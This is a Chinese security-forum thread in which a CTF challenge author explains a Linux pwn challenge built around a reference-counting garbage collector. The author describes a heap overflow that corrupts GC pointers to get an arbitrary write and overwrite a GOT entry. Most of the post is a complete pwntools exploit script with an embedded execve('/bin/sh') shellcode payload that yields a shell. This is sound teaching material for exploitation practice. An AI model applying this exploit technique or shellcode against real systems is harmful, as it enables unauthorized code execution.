能力值:
( LV12,RANK:280 )
|
-
-
2 楼
这道题出题时的想法是把实际漏洞环境中比较常见的GC结合进CTF中的Linux Pwn题目中,但是比较遗憾的是水平有限没能够在出题时间内完成整个GC的漏洞设计,所以只好做了简化并构造了漏洞,因此这个利用的难度其实比较简单。 首先,解释一下什么是GC,GC一般称作垃圾回收,设计GC的目的是为了给程序员提供自动的内存管理,这样程序员就不需要手动的去释放内存了。因为程序员手动管理内存往往会产生内存泄漏等问题,所以现在一般的脚本语言或者虚拟机往往都存在有GC,比如java虚拟机、javascript引擎等等。 但是,在实际环境中GC也是漏洞的高发地带,比如在IE浏览器mshtml中各种DOM对象都是基于引用计数进行内存管理的,复杂的引用计数关系导致出现了大量的Use-After-Free漏洞。 在这道题目中,涉及到了一个基础的引用计数法(Reference Counting Collector)GC,当程序分配内存之后会自动维护对于每个块的引用技术,当检测到某个块的计数为0时就会把它回收以便进行下一次使用。
但是在进行内存回收时,这个块中可能会存在对其它块的引用,因此释放此块时需要对块中所有的指针进行判断,如果判定是由GC维护的块就需要对指针指向的块也做引用计数减一的操作。
这道题目中cheat功能存在一个堆溢出漏洞,通过堆溢出可以控制到GC的指针结构,之后通过触发回收可以造成一个任意地址写固定值的操作,通过任意地址写控制函数的got表内容就可以实现getshell。
from pwn import *
import time
from ctypes import *
import os, sys
def uint32(x):
return c_uint32(x).value
def log(str):
log.info(str)
def info(string):
return log.info(string)
def js(str):
return io.recvuntil(str)
def jsn(num):
if num:
return io.recvn(num+1)
else:
return io.recvn(num)
def fs(str):
io.sendline(str)
def fsn(str):
io.send(str)
def stop():
while 1:
time.sleep(1)
def shell():
io.interactive()
def mark(name,vaule):
string='\n=====>'+str(name)+' :'+str(vaule)+'\n'
print string
def dbg(string):
raw_input(string)
def shellcode():
return asm(shellcraft.amd64.linux.sh())
###setting
local=1
debug=0
log=1
if local:
io=process('./pwn')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
io=remote('127.0.0.1',10086)
libc = ELF('./libc')
if log:
context(log_level='debug')
if debug:
gdb.attach(io)
#user code =============================
def signup():
js('2.Signup')
fs('2')
js('input your username')
fs('1')
js('input your password')
fs('1')
js('input your character')
fs('1')
def login():
js('2.Signup')
fs('1')
js('Input your username:')
fs('1')
js('Input your password:')
fs('1')
def goto():
js('0.exit')
fs('3')
js('6.Primorsk')
fs('1')
def explore():
js('0.exit')
fs('4')
try:
js('Do you want to pick up it?')
except Exception:
js('nothing found')
return False
fs('y')
return True
def view_package():
js('0.exit')
fs('2')
def del_item(num):
js('Your Choice:')
fs(str(num))
js('2.return')
fs('1')
js('2.return')
fs('2')
js('Your Choice:')
fs('8')
def cheat():
js('0.exit')
fs('5')
js('name')
fs('1')
js('content')
fs('123')
def overflow(str):
js('0.exit')
fs('5')
js('content')
fs(str)
def get_shell():
js('0.exit')
fs('y')
fs('1')
js('Input your username:')
fs('1')
js('Input your password:')
fs('1')
shell()
if __name__=='__main__' :
signup()
login()
goto()
cheat()
if False==explore():
mark('try again')
if False==explore():
mark('try again')
payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)
overflow(payload)
view_package()
del_item(1)
payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"
overflow(payload2)
get_shell()
|
能力值:
( LV17,RANK:1185 )
|
-
-
3 楼
很有意思的一道题啊
|
|
|